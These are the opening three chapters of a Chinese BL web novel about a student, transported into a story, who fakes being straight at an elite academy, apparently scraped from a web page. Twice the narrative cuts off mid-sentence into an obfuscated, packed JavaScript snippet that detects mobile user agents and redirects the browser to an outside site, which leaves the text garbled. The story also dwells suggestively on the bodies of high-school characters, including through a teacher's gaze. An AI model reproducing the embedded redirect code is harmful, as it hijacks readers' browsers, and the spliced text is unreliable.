《贵族学院的直男跟班》 1. 第一章 贵族学院的炮灰跟班 文/宿寒屿 2026/1/5 圣海私立国际高中的二号足球场上,高三国际A班和B班之间正在进行最后的较量,比分牌在“1:1”焦灼地停了很久。 观众们屏息凝神,时不时为一记精彩的传球爆发出惊呼和喝彩。 比赛进行到最后几分钟时,所有人的注意力都被场上的两名男生吸引。 其中一名穿着黑色球衣,眉眼俊朗,骨架高大,总能在众人的围追堵截中突出重围。 另一名穿着白色球衣,身型颀长,皮肤白皙,总能轻松灵活地从对手脚下把球截走。 “陆渊——” 紧要关头,白球衣男生喊了黑球衣男生的名字。 黑球衣男生心领神会,往白球衣男生方向看了眼,奔跑中抬脚截住对方传来的球,然后加速朝对手球门跑去。 甩开对手后,黑球衣男生左脚蹬地,右腿抬脚射门。 “砰——” 足球在空中划过凌厉的一道弧线,擦过守门员的指尖,拐着弯撞进了球门。 球网荡开的瞬间,裁判哨声刚好响起,计分牌上的分数也从“1:1”变成了“2:1”,宣告国际A班的胜利。 “卧槽,陆哥牛逼!” “这怎么做到的,拐着弯就进了?!” “陆哥,你简直是A班的神!” 观众们的喝彩赞叹声经久不息,就连队友们都被这一球震撼,围着陆渊你一言我一语地夸赞个不停。 陆渊微微喘着气,擦了把汗,抬眼看向的却是刚才传球给他的白球衣男生。 白球衣男生和周围的队友们一个个碰拳庆祝完后,走到陆渊面前,对他也伸出拳头:“陆哥,帅!” 白球衣男生冲陆渊露出一个爽朗笑容,明晃晃的虎牙一闪而过,眼神里全是对陆渊刚才帅气进球的欣赏和崇拜。 陆渊盯着男生的拳头看了会儿,没有伸手和他碰拳。 男生也不恼,像是意识到了什么,有些不好意思地收回还沾着汗的手,腼腆一笑:“对不起陆哥,我忘了你有洁癖。” “……没。” 陆渊沉默片刻后,突然主动抬手,对男生伸出拳头。 男生一愣,先是惊讶地看了陆渊一眼,随即立刻伸手和陆渊碰拳,笑得开心:“我们是第一。” 陆渊低低地“嗯”了一声,撩了下狭长的眼皮,盯着男生,忽然开口道: “祁扬,刚才那球,你自己踢也能进。” 祁扬闻言,表情明显愣了一下。 “你是故意把球传给我的吗?”陆渊直直地看着他,缓缓问道。 祁扬像是被陆渊看穿了内心想法,瞬间说话都变得支支吾吾起来:“没、没有,陆哥,我就是觉得你肯定能踢进,所、所以就传给你了。” 陆渊听了祁扬的回答,没有说话。 他盯着祁扬看了一会儿,而后收回视线,语气平淡地吐出两个字:“是吗。” “当、当然。”祁扬试图让自己声音听起来更理直气壮一些,避免陆渊发现他的心虚。 好在陆渊没有继续深究这个问题,转身往足球场门口走去:“陪我去买水。” 祁扬怔了怔,随后应了声“好”,和周围队友们道别,跟上陆渊的脚步,往场外走去。 在陆渊看不到的角度,祁扬松了口气,紧绷的肩膀跟着放松下来。 好险,差点被陆渊看穿他的小心思。 穿书到这本名为《圣海之渊》的贵族学院小说里一年多,祁扬每天都活得小心翼翼。 谁让他在这本小说里是个炮灰呢。 小说讲述的是贵族学校有权有势的F4爱上贫穷特招生主角受,为主角受展开一系列修罗场的故事。 祁扬是小说里的炮灰攻,前期是F1陆渊的跟班,后期爱上主角受。 因为妄图和F4争夺主角受,最终他被F4联手除掉。 祁扬穿过来时,原主已经给陆渊当了一年跟班。 为了保命,祁扬决定做两件事: 第一,讨好陆渊,和陆渊搞好关系,比如在球场上能给陆渊传球就多给他传球,说不定次数多了,陆渊能把他当好哥们; 第二,装直男。 很显然,祁扬第一件事做得挺成功。 至少球赛结束后,陆渊这个高冷冰山愿意和他碰拳庆祝了。 至于第二件事…… 祁扬拎起放在场边的运动包,随手挎到肩上,跟陆渊走在去便利店的路上。 两人又高又帅,一路上吸引了不少人的目光。 正当祁扬拿出毛巾,随手擦着脸上的汗时,几名穿着圣海校服的学生频频往他这边看。 祁扬路过那几名学生时,他们将一个红着脸的男生推搡到祁扬面前,拦住他的去路。 男生长得白净帅气,高高瘦瘦的,耳根都红透了。 他鼓起勇气对祁扬开口道:“帅、帅哥,能不能加你……加你个好友?” 祁扬一愣,他很快反应过来,他这是被男生要微信了。 祁扬知道这是一本bl小说,作为小说故事发生的背景学校,圣海gay多一点也是正常的。 但他绝对不能暴露自己也是gay的事实。 站在祁扬面前的男生咽了口唾沫,表情紧张地等他回应。 不远处,陆渊听到身后的动静,停下脚步,转身看着祁扬,似乎也在等他做出反应。 陆渊脸上没什么表情,眼神却一直停留在二人身上。 祁扬余光瞥了眼陆渊的方向,用在场人都能听见的音量对男生开口: “不好意思,我喜欢女生。” 男生的脸瞬间红得像西红柿,结结巴巴地道歉:“不、不好意思,我、我……打扰了!” 说完最后三个字,他几乎是逃窜似地离开了现场。 男生身后的朋友们都对这场gay爱上直男的戏码表示遗憾。 “我就说他看着像直的。” “长这么帅,也不怪展烁会喜欢上直男。” “痴情的给子啊,请再等一世吧。” 被拒绝的男生离开后,祁扬一抬头,就看见陆渊正好整以暇地看着他,颇有种刚看完好戏的意味。 祁扬觉得,陆渊的眼神里似乎还有更多难以察觉的情绪。 祁扬硬着头皮走上前,半开玩笑地开口道:“没想到会被男的要微信。” 陆渊挑了下眉毛,语气悠悠地问:“万一人家只是想认识你一下呢?” 祁扬被问得一僵。 是啊,一般直男遇到这种事,压根不会往那方面想吧? 毕竟刚才那个男生没有告白,只是说想加个好友。 祁扬的反应倒显得有点刻意了。 在陆渊意味深长的眼神里,祁扬的大脑飞速运转。 最后,他硬着头皮开口道:“……还是算了吧。” 穿书之后,祁扬并不是第一次被男生要微信。 之前陆渊不在场的时候,祁扬也被加过几次好友。 但他们实在太过热情,没聊几次就要约祁扬出来见面,还喊他“老公”、“老婆”、“宝宝”…… 甚至还有喊“爸爸”的。 从此吓得祁扬再也不敢随便加好友了。 想起之前的经历,祁扬抿了抿唇说道:“以前也加过,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029079|194494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们都很奇怪,一上来会问很多问题。” 陆渊貌似对这个话题很感兴趣,抬了抬眉,问道:“比如?” “咳,比如身高多少,有没有腹肌,脚码多少……”祁扬说着,脸上因尴尬不由自主地发烫起来,“还有……有没有可能喜欢男生。” 说到后面,祁扬的声音越来越轻,像是蚊子叫。 陆渊没说话,气氛陷入诡异的尴尬。 祁扬以为陆渊被吓着了,忙开口解释道:“我、我没理他们,后来就都删掉了。” 陆渊盯着祁扬,半晌后,忽然开口问了个祁扬没想到的问题: “你觉得他们很恶心?” 祁扬被问得一愣。 他没想到陆渊会这么问。 陆渊是在试探他是不是gay? 还是说,陆渊作为一个gay,在试探他是不是在歧视gay? 祁扬一时间不知道该怎么回答这个问题,好像不管说“恶心”还是“不恶心”都很奇怪。 “……也没有,”祁扬挠了挠头,有些艰难地回答陆渊的问题,“我就是觉得……被男生问这种问题,有点不习惯。” 祁扬尽量让自己的语气听上去委婉一点。 既要像个直男,又不能让陆渊这个gay感觉被歧视。 陆渊听到祁扬这么说,脸上没什么表情,半晌后才开口: “……哦。” 说完后,陆渊背着包,转身往便利店走去,只留下一个背影。 祁扬也不知道他对这个回答到底满不满意,也不敢问,只好跟着陆渊进了便利店。 便利店里冷气充足,一进门便让祁扬觉得凉爽。 店里挤了不少学生,祁扬挤到冰柜旁,从里面拿了瓶运动饮料。 陆渊也从冰柜里拿了瓶饮料。 巧的是,他拿的和祁扬是同一个牌子,就连包装颜色都相似,只是口味不一样。 祁扬看到后,对陆渊说道:“陆哥,我请你吧。” 作为跟班要有跟班的觉悟。 不料陆渊却直接伸手抽走他手里的饮料,语气平静:“我付。” 说着他便径直往收银台走去。 祁扬怔了怔,有些受宠若惊,忙跟了上去。 等祁扬走到陆渊身旁时,他已经刷完饭卡。 祁扬余光不小心瞥到刷卡机,上面显示,陆渊饭卡里的余额还有…… 两万。 圣海虽是贵族学校,但学校物价低,抛开学费,这两万块足够很多学生在学校一年的开销了。 祁扬觉得他说请陆渊喝饮料这句话有点多余。 陆渊随手丢给祁扬一瓶饮料:“给。” 祁扬接过之后,也没细看,直接拧盖瓶盖,仰头往嘴里灌了好几口。 喝了大半后,祁扬这才注意到,陆渊迟迟没有打开他手中那瓶饮料的瓶盖。 祁扬愣了愣:“陆哥,你怎么不喝?” 陆渊的视线落在祁扬手里的饮料上。 他抬眼看向祁扬,忽然开口道: “拿错了,你手里那瓶是我的。” 祁扬一瞬间瞪大眼睛:“……啊?!” 他看了眼手中的饮料,确实是另一个口味,只是两种口味的包装颜色相近,他完全没有察觉。 祁扬瞬间尴尬得脚趾抠地,想找个洞钻进去。 “不、不好意思,陆哥,我没注意……”祁扬着急地道歉和解释道,“要不,我再给你买一瓶?” 陆渊盯着祁扬手中的饮料瓶被放在口中含过的、沾了液体的亮晶晶的瓶口。 片刻后,缓缓开口道: “不用了,你手里那瓶给我就行。” 2. 第二章 祁扬手里拿着喝了一半的饮料,整个人僵住,一时间不知道陆渊是在开玩笑还是认真的。 “我……”祁扬不自觉地抿了下唇,喉结一滚,语气小声而尴尬地提醒陆渊,“我喝过了,这瓶。” 他看着陆渊的表情,试图理解陆渊是不是在生气,故意用这种话来嘲讽他。 陆渊盯着祁扬手里的瓶子看了会儿,片刻后,他才开口道: “……我开玩笑的。” 说罢,陆渊收回视线,走向收银台,和店员说明了情况,店员很快就跑去帮他换了一瓶另一个口味的。 祁扬有些诧异,他没想到陆渊这座高冷冰山竟然会和他开玩笑。 走出便利店,祁扬也没了喝水的心情,满脑子想的都是,陆渊和他开玩笑,是不是意味着陆渊把他当哥们了。 如果是这样,那他以后成为炮灰的可能性就小了许多。 当然,祁扬不敢妄自揣测,毕竟在书里,陆渊是最冷酷无情的角色,从来不会在学校里随便交朋友,更别说把跟班当哥们了。 “咳……”祁扬清了清嗓子,看着一旁的陆渊,说道,“陆哥,谢谢你请我喝饮料。” 陆渊斜睨他一眼,语气淡漠:“什么时候这么客气了。” “陆哥,”祁扬喉结一滚,小心翼翼地开口,试探着问道,“咱们俩认识这么久了,算不算……呃,好哥们?” 祁扬问出这个问题的下一秒,就看到陆渊顿住了脚步,转过头,皱了下眉,眼神直直地盯着他看。 祁扬被那双漆黑狭长的眼睛盯得心里发毛,忙找补道:“我、我没别的意思,就,就随便问一下……” 陆渊脸上没什么表情,眼神平静得像一潭死水。 半晌后,他看着祁扬,沉稳地开口问道: “你觉得,我请你喝水,是把你当哥们了?” 祁扬感受到对方语气里的一丝嘲讽,忙说道:“不,不是,我的意思是……” 祁扬顿了顿,手指攥紧瓶子,鼓足勇气问道: “咱俩有可能……成为好哥们吗?” 和主角攻成为好哥们,能避免很多问题。 比如,主角攻不会再把他当潜在情敌,他也就不会被卷入修罗场中。 陆渊听到这个问题,不知道为什么,忽然轻笑了一声。 那笑声很轻,是从陆渊的鼻腔里发出来的。 有点像是嗤笑,仿佛在嘲讽祁扬的不自量力。 毕竟陆渊是圣海校董会董事长的儿子,江呈市首富陆家未来的继承人,而祁扬只不过是他身边的跟班。 “所以,你故意在球赛的时候给我传球,是为了和我成为……‘哥们’?” 陆渊平静地看着祁扬,说到“哥们”两个字时,加重了些语气。 就好像觉得这个词十分滑稽似的。 “当、当然不是,”祁扬硬着头皮为自己辩解,“是因为你很厉害。” 陆渊没有追问下去,而是忽然话锋一转,问道: “祁扬,那你觉得,我想和你做哥们吗?” 问罢,陆渊直勾勾地盯着祁扬看,眼神里藏着许多祁扬看不懂的情绪。 完了。 祁扬心说,他这下是踩到老虎尾巴了。 陆渊这样的人,怎么可能和他这个跟班当好哥们。 他也太高估自己在对方心里的地位了。 祁扬忙连连否认:“没,没有,我不是这个意思,陆哥,你不要误会……” 陆渊没有说话。 祁扬看着他,小声说道:“你不想和我当哥们,也挺正常的……” 陆渊不愿和他当哥们也没事,大不了他就当一个老实跟班,不得罪F4,也能苟到大结局。 比起沉默,陆渊此刻的表情更像是一种…… 无语。 他薄唇抿成直线,皱了皱眉,突然开口打断祁扬: “我有说不想吗?” 听上去不大高兴。 祁扬一愣,旋即喜出望外地看向陆渊,下意识地脱口而出:“真的啊?” 陆渊攥着背包带的手指紧了紧,没有回答祁扬的问题,转身朝着教学楼走去。 “嗯。”他闷闷不乐地应了一声。 祁扬跟在陆渊身后,感到喜悦的同时,又觉得有点奇怪。 陆渊似乎愿意和他成为哥们,但又似乎…… 并没有因为这件事而感到开心。 不过祁扬没有细想,因为能和陆渊成为哥们,这对他来说是天大的好事。 只要抱紧主角攻的大腿,就不怕成为炮灰了。 来到教学楼,祁扬还在为这件事高兴。 国际A班门口的走廊里放了一排储物柜。 祁扬一边打开柜子往里放运动包,一边忍不住轻哼起歌来。 见祁扬这么开心,陆渊脸上的沉闷似乎也少了许多。 他看着祁扬,忍不住开口问道: “……有这么高兴吗?” 祁扬冲陆渊咧嘴一笑,明晃晃的虎牙一闪而过,语气里满是藏不住的开心:“能和陆哥当好哥们,是我的荣幸。” 陆渊整理东西的动作一顿。 片刻后,他才继续手上的动作,若无其事地说道:“哦,是吗。” 相比祁扬的兴奋,陆渊对于两人成为“哥们”这件事,表现得十分平静,没有丝毫兴奋。 祁扬也没有放在心上,毕竟,陆渊平日里就是个喜怒不形于色的人。 经过这一年的相处,陆渊愿意和他做哥们,说明他的努力没有白费。 接下来,他只要继续捂好马甲,以直男身份和陆渊相处,就不会有任何危险了。 祁扬心情很好。 接下来是音乐课,祁扬要去音乐教室上课。 圣海的音乐课采用的是一对一小班教学,给每个上课的学生都配备了单独的小型音乐教室。 刚踢完球,祁扬怕自己身上还有汗,以这种形象去音乐教室上课不太好,于是从包里拿出毛巾,准备把身上再擦一遍。 他掀起球衣的下摆,用白色毛巾认真地擦着身体。 祁扬皮肤很白,身上肌肉薄而紧实,因为长期锻炼,所以胸肌和腹肌的线条都十分明显。 白色毛巾被他拿来用力擦拭肌肤,留下过度用力而产生的红痕,和他白皙的皮肤形成了强烈的对比。 祁扬的毛巾擦过腹肌,在露出的黑色内裤边缘卡了一下,弄歪了内裤边。 毛巾挪开后,露出一截明显的人鱼线。 “咣当——” 陆渊手一抖,不小心把储物柜的柜门关上了。 可是钥匙还落在里面。 祁扬被吓一跳,停下动作,看向陆渊,愣愣地问:“怎么了?” “……没事。”陆渊喉结用力滚了滚,飞快地挪开视线,声音喑哑,“不小心碰到。” 钥匙落在柜子里,改天还得去保安室找人来开。 陆渊忍不住深吸一口气,眉头拧起。 在祁扬把毛巾放回柜子,和陆渊道别,转身去上音乐课后,陆渊才烦闷地从鼻腔里长出了口气。 然后,他握手成拳,略带懊恼地锤了一下他的金属储物柜,发出清脆声响。 在去音乐教室的路上,祁扬手机不停收到同学们发来的消息。 他点开一看,大多都是在告诉他,学校官方抖音平台发他的照片火了。 祁扬愣了一下,打开链接,发现学校把刚才球赛的照片上传到了平台,配文是“祝贺圣海高中足球赛圆满结束”。 祁扬的照片排在第二张,一袭白色的皇马球衣,在场上一脸认真地盯着对手,看上去英姿飒爽。 评论区不少人都在讨论祁扬的颜值。 [第二张是爸爸级别的。] [完全就是天生的老公。] [我可以帮他舔掉身上的汗。] [对着人家高中生开黄腔,恶不恶心啊?] [你这样说他会加你吗?会的话我也发。] [为什么是老公,明明是老婆啊。] [这种又帅又可爱的当然是老婆。] 不少评论点开主页一看,资料还是男的。 祁扬一瞬间耳根发红,尴尬地在评论区打字解释。 [sheep:第二张的男生是直男。] 他可不想陆渊刷到这条视频,看了评论区之后,“误会”他加入gay圈了 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被男老师这么夸让祁扬有些不自在,但他也没多想,呵呵一笑:“谢谢老师夸奖。” 周栎抬了下眼皮,上下看了眼祁扬身上穿着的球衣和球裤。 他的视线不自觉地落在祁扬的球裤上。 祁扬坐在小教室的黑色皮质软椅上,大腿肌肉在放松状态下被微微挤压着。 球裤因为坐姿而上移,露出一截有道晒痕的大腿根。 祁扬的皮肤本来看着就比一般男生白,然而他藏在球裤下的腿根竟然还要更白一些。 在黑色长椅上,这抹白显得尤为扎眼。 再往下,是一双白色的足球袜和带着白色三条杠的黑色球鞋。 “刚踢完球赛?”周栎挪开视线,不经意地开口问道。 祁扬被这么一问,顿时红了耳根。 他拎起自己的球衣领口闻了下,红着脸问:“怎么了,我身上有味道吗?” “当然没有。”周栎失笑,“我刚才在抖音刷到你了。” 祁扬一想到评论区那些言论,耳朵一下更红了。 “是、是吗……”祁扬如坐针毡地坐直身体,抱紧了木吉他,不小心扫到了弦,发出声响,“是学校发的那条吗?” “嗯。”周栎点了点头,没有提起评论区的事,笑着夸赞道,“你小子还挺帅。” 祁扬不好意思地挠了挠头,羞赧道:“过奖了,周老师。” 祁扬心想,周老师大概没有点开评论区,顿时松了口气。 正在这时,教室虚掩的门外传来一阵脚步声。 不多时,门被推开,一名背着吉他的卷毛男生出现在门口。 卷毛男生个子很高,骨架高大,肩宽腰窄,身材优越得像是模特。 尤其是一双大长腿,将校裤穿得笔挺好看。 在看清来的人是谁时,祁扬整个人浑身僵住,瞪圆了眼睛,眼神里满是不敢置信。 “蒋虎,你来了。”周栎站起身,示意对方进来,“这节课你和祁扬一起上。” “嗯。”蒋虎低低地应了一声。 随后,他懒懒地地抬了下狭长的双眼,视线在触及祁扬的时候,短暂地停留了片刻。 祁扬喉结紧张地滚动了一下。 蒋虎,圣海F2,小说里的攻二号,蜜色皮肤,痞帅长相,长腿卷毛肌肉男高,看似慵懒的外表下荷尔蒙爆棚。 他对主角受占有欲极强,也是书中最讨厌祁扬的人。 蒋虎走进小教室,一下子整个空间都显得逼仄狭小起来。 他走到祁扬面前,垂眸看着坐在皮质长椅上的少年,脸上没有什么表情。 祁扬莫名感到一阵紧张。 如果他没记错,在原著里,蒋虎每次见到祁扬都会毫不避讳地流露出厌恶情绪。 果不其然,蒋虎的视线扫过祁扬坐在长椅上露出的大腿,不着痕迹地皱了下眉。 他看了眼祁扬身旁并不宽裕的座位空间。 而后,转头看向周栎,拧着眉,语气似乎有些嫌恶地问道: “……就坐这?” 3. 第三章 祁扬闻言,心中暗道不妙。 虽然他已经和陆渊处成了好哥们,但F4另外几人并不待见他。 稍有不慎得罪了他们,祁扬仍然会有生命危险。 “其他大一点的教室都满了,”周栎看了蒋虎一眼,转身将门关上,整个小教室瞬间变成一个安静的密闭空间,“只能委屈你们俩挤一挤了。” 蒋虎站在祁扬面前,居高临下地看着他,眼神里看不出什么情绪。 就在祁扬以为蒋虎可能会直接翘了这节音乐课时,他忽然看到蒋虎收回视线,懒懒地抬了下眼皮,走到祁扬身旁坐下。 蒋虎将吉他包放在地上,拉开拉链,取出一把木吉他。 长椅够坐下两人,但不太够放下两把吉他。 周栎也察觉到了这一点,主动出声避免尴尬:“没事儿,这节课主要讲一些乐理知识,真要练琴的时候,你们轮着用一把就行。” 祁扬明显感觉到身旁的蒋虎僵了一下。 他皱了皱眉,似乎不太想和祁扬共用一把吉他,开口道:“共用一把?” 为了不得罪F2,祁扬主动把吉他放到一旁,然后看向周栎:“没关系的老师,我可以等他练完再练。” 周栎点点头,冲祁扬露出默许的笑容,接着便开始讲课。 整个上课的过程中,祁扬都正襟危坐,避免和蒋虎有任何交流或接触。 事实上,两人也确实一直没有任何交流。 直到一节课快结束时。 周栎擦掉白板上的课程内容,笑着对二人说道:“刚才讲的和弦组合,你们可以弹一弹试试,找找感觉。” “嗯。”蒋虎低低地应了一声,随手将吉他放在膝盖上,调整了一下坐姿,大剌剌地岔开修长双腿,然后拨弄起吉他来。 祁扬在一旁则显得有些无所适从。 蒋虎在弹吉他时,他只能装作若无其事地看着对方弹,等待对方结束。 蒋虎弹得认真,他看着眼前的谱子,修长的手指指节分明,娴熟利落地拨弄着琴弦。 或许是因为弹得过于投入,蒋虎岔开的双腿不经意间顶到了祁扬的大腿。 蒋虎的腿很长,几乎是很轻松地就用膝盖顶到了祁扬裸露在外的大腿肌肤。 校裤布料突然贴上祁扬大腿外侧的皮肤,带来高级面料的光滑触感。 布料是冷的,但祁扬仿佛能透过布料,感知到蒋虎的体温。 祁扬咽了口唾沫,不由自主地坐直身体,莫名感到一阵紧张。 他瞄了眼蒋虎,发现对方仍沉浸在吉他弹奏里,就像是完全没察觉到两人的肢体接触一样。 就在祁扬分不清蒋虎是无意的,还是在故意挑衅他时,蒋虎忽然向上顶了顶膝盖,调整吉他在腿上放的位置。 他的校裤布料就这样在祁扬的大腿外侧来回蹭了几下。 隔着布料,祁扬甚至可以感受到蒋虎膝盖骨的形状和硬度。 他几乎就要以为,蒋虎这是故意的。 然而下一秒,蒋虎却若无其事地收回顶着祁扬的长腿,懒懒地撩了下眼皮,看向祁扬: “换你?” 他脸上没有任何波动,就好像刚才的动作确实是个无心之举。 这让祁扬不由觉得,刚才他觉得蒋虎是故意挑衅的想法只是个错觉。 回过神来,祁扬点了点头,准备拿起放在地上的吉他。 然而这时,一把吉他直接被放到了他的腿上。 祁扬一愣,看向蒋虎,只见后者正面无表情地看着他,漫不经心地开口:“这把调过音了。” 吉他这类乐器,一段时间不使用就需要调音校准。 祁扬有些受宠若惊,怔怔地对蒋虎说道:“谢谢。” 祁扬不太清楚,为什么F2会主动把吉他借给他,但他知道,这时候拒绝F2的好意或许不是一个明智的选择。 小说里,F2表面看似随性好相处,实际上骨子里十分高傲。 如果祁扬拒绝F2,很可能会被对方在心里记上一笔。 于是,祁扬接过蒋虎的吉他,开始弹奏起来。 吉他柄上还残留着蒋虎手掌的余温,和冰凉的金属弦形成强烈对比。 祁扬上辈子对音乐并不是很擅长,他试着弹了几组和弦组合,学着老师教他的方式,脚下轻轻地在地板上打着节拍。 密闭的空间里很安静,只剩下少年认真弹奏吉他的和弦声,和他脚上球鞋轻打节拍的声响。 弹奏结束,下课铃声刚好响起。 “啪啪啪……” 周栎笑着为祁扬鼓掌,看他的眼神里充满欣赏,还开口鼓励道:“你小子进步还挺快。” 祁扬不好意思地挠了挠头,羞赧一笑。 他也觉得自己进步很大,但他忽然想起来,自己旁边还坐了个人,而且他弹的吉他还是旁边人借给他的。 祁扬立马进入对身旁的F2的夸赞模式,开口道:“没有,我弹得比他差远了。” 小说里,蒋虎看似吊儿郎当,实际上精通各种乐器,弹吉他对他来说是小儿科。 事实上,蒋虎刚才弹奏的和弦也确实比祁扬流畅许多。 蒋虎闻言,没有说话,只是静静地看着祁扬,眼底没有什么情绪。 半晌后,他才开口,吐出让祁扬诧异的几个字: “你弹得挺好的。” 嗓音磁性,波澜不惊。 说罢,蒋虎伸手拿回吉他重新装进包里,全然没有理会祁扬此刻一脸怔愣的表情。 蒋虎……这是在夸他? 那个全书最讨厌他的F2,竟然在夸他? 在祁扬愕然的眼神里,蒋虎站起身,朝周栎点了下头,准备走出音乐室。 然而下一秒,他像是想起了什么,突然又转头看向祁扬。 本来终于松了口气的祁扬,心里忽然又紧了一下。 蒋虎折返回来,背着吉他,高大的身影蹲了下来,俯身在祁扬脚边寻找着什么。 祁扬整个人僵住,紧张到脚趾不由自主地抠了下地,黑色球鞋的鞋面也跟着动了一下。 他不由身体往后坐了坐,试图离蒋虎远一点。 却不料这一动作让他的球裤布料又上移了一截,露出更多大腿肌肉。 或许是因为找不到要找的东西,蒋虎又往祁扬那边探了探身子。 那张硬朗的帅脸几乎要贴上祁扬的大腿。 祁扬很怕自己碰到蒋虎,毕竟他刚运动完,也没洗澡,要是蹭到蒋虎的脸,估计会被记恨很久。 就在祁扬紧绷着一动不动、连大气都不敢出时,蒋虎终于找到了他掉落的东西。 是一枚吉他拨片。 他在祁扬的脚边捡起拨片,手指随意地抹去上面的灰尘,丢进口袋里。 随后,蒋虎就这样蹲在祁扬脚边,抬起眼皮,自下向上看了祁扬一眼。 正好对上祁扬紧张兮兮的视线。 蒋虎表情泰然自若,就像在做一件再普通不过的事。 相比之下,祁扬反倒显得有些心虚。 他忙移开视线,假装什么都没看见。 蒋虎站起身,攥了攥吉他包的背带,若无其事地走出教室。 祁扬这才长长地舒了口气,整个人瞬间放松下来。 离开教室前,周栎很是郑重地和祁扬道歉: “今天实在是对不起,委屈你了,要和别人挤在一起上课。” 祁扬露出随和的笑,主动安慰周栎:“没事,周老师,突然遇到这种事也没办法。” 周栎掏出钥匙,锁了音乐教室的门。 为表歉意,他提出要开车送祁扬回家。 祁扬愣了下,忙连连摆手:“不用了,周老师,我让我家司机来接我就行。” “你家住哪里?”周栎看着祁扬问道。 祁扬报了个小区名字。 周栎挑了下眉,拉长音调“哦”了一声,点点头:“那刚好和我顺路。” 他看向祁扬,半开玩笑地说道:“怎么,不愿意坐老师的车?” 周栎都这么说了,祁扬也不好意思再推辞,迟疑着说道:“那……我和家里人说一下。” “说吧,别让爸爸妈妈担心。”周栎认可地点了下头,拎着公文包,往电梯走去。 祁扬发完消息,跟着周栎走进电梯。 外面灯光明亮,他这才来得及好好打量一下这位年轻的老师。 作为一名老师,周栎实在太年轻了些。 看上去甚至像一名大学生。 要不是身上板正革履的西装,祁扬甚至怀疑他会被当作高中生。 周栎抬手看了眼腕表,随口道:“这个点还早,送你回家,不耽误你吃饭吧?” 祁扬摇摇头:“不耽误。” 他不太习惯和老师相处,垂眸看着电梯地板,余光恰好瞥到周栎的皮鞋。 周栎穿的皮鞋很好看,锃亮的纯黑色,走路时刚好露出被黑色袜子包裹的脚踝。 和穿着白袜和球鞋祁扬完全是两个次元。 电梯来到地下停车场,迎面而来的是空旷车库里零星的车子启动声,以及地库独有的潮湿阴凉的气味。 周栎按了按车钥匙,一辆纯黑色奔驰闪了闪灯,发出回应。 见周栎能开这么贵的车,祁扬丝毫不觉得意外。 能在这所学校教书的老师,大多数也都家境殷实,还有很多老师有国外留学的经历。 周栎主动打开副驾驶的门,冲祁扬微微一笑,示意他上车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029081|194494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 祁扬坐上车,周栎坐进驾驶座,说道:“最近车子没时间保养,希望你不要坐不习惯。” “当然不会。”祁扬忙说道。 车子里香氛的味道很高级,是木质的香调,反倒是让下午刚运动完、还没洗澡的祁扬不好意思起来,都不好意思往座椅靠背上靠。 周栎看出了祁扬的不自在,主动开口道:“没事,我这车平时就我自己开,你随便坐,座椅调成躺着都行。” 周栎幽默的话语逗笑祁扬。 他靠在椅背上,听着周栎放的歌,整个人不自觉地放松下来。 回去的路上,祁扬玩了会儿手机。 他下意识地点开抖音,消息栏蹦出来的“99+”让他不由愣了一下,随后整个人惊得坐直了身体。 他把所有消息点开看了眼,这才发现,他下午在评论区澄清他是直男的那条消息,意外地火了。 火的原因很简单,有人点进祁扬的主页,看到了他之前发的照片,调侃他是“绝望的直男本人”,引得评论区众人哈哈大笑,都忍不住点进祁扬主页一探究竟。 照片是祁扬上自媒体课的时候,老师让他们发的,纯粹是为了应付“在短视频平台获得两百个赞”的作业。 发完之后祁扬就忘记删了,没想到会被这些网友翻出来。 这张照片底下涌入不少新的评论。 [我啥时候能谈个这样的。] [sleep不到,好难过。] [爸爸。] [感觉会很浓。] 短短一下午时间,祁扬的账号涨了小一千粉丝。 纯靠脸。 祁扬被吓一跳,手忙脚乱地想把照片删了,忽然听到周栎的声音:“怎么了?” “我、我抖音……”看着还在冒出来的新评论,祁扬涨红了耳根,“突然被好多人关注了。” 周栎打方向盘的手一顿,转头看了眼祁扬:“是因为下午学校发的那条抖音?” 祁扬尴尬地“嗯”了一声,就在他手指即将删掉照片的时候,周栎开口问道: “怎么,你不想被人关注?” 祁扬喉结滚了滚,解释道:“……我怕别人误会。” 周栎挑了下眉:“误会?” 周栎是比祁扬年长的老师,虽然看着年轻,但身上有种成熟稳重的气质。 再加上他不是剧情中的角色,祁扬不由在他面前放下戒备,缓缓开口说道:“嗯……因为有很多男的关注我。” 周栎听到祁扬说这句话时,表情明显愣了一秒。 随后,他试探着问道:“所以,你是怕别人误会你喜欢男生?” 祁扬低低地“嗯”了一声,窘迫感让他感到浑身不自在。 周栎闻言,忍不住失笑出声。 “他们喜欢你,是因为你长得好看,又不是因为别的。”周栎笑着说道,“你大大方方地接受他们的关注就行了。” 祁扬一愣,没想到周栎会这么说。 周栎继续说道:“要是有男的关注你,你就被吓得注销账号,倒显得很奇怪吧?” 祁扬握着手机的手指不由收紧。 他不得不承认,周栎说得很有道理。 直男遇到这种事,反倒没他这么大的反应。 甚至还有直男会趁热打铁,博取流量。 于是,祁扬顿时从紧张的状态中放松下来,不再去在意被男的关注这件事。 车子送祁扬到了小区门口。 他下了车,对周栎表达了感谢,还邀请对方上门坐坐。 “这次就先不了,”周栎礼貌地婉拒,带着笑意说道,“你赶紧回去洗澡吃饭吧,别饿着了。” 周栎看祁扬的眼神就像在看弟弟。 再加上刚才的谈话,祁扬感受到二人之间不自觉地拉近了距离。 “好,”祁扬朝周栎颔首致意,“谢谢周老师,老师回去路上小心。” “嗯。”周栎含笑点头。 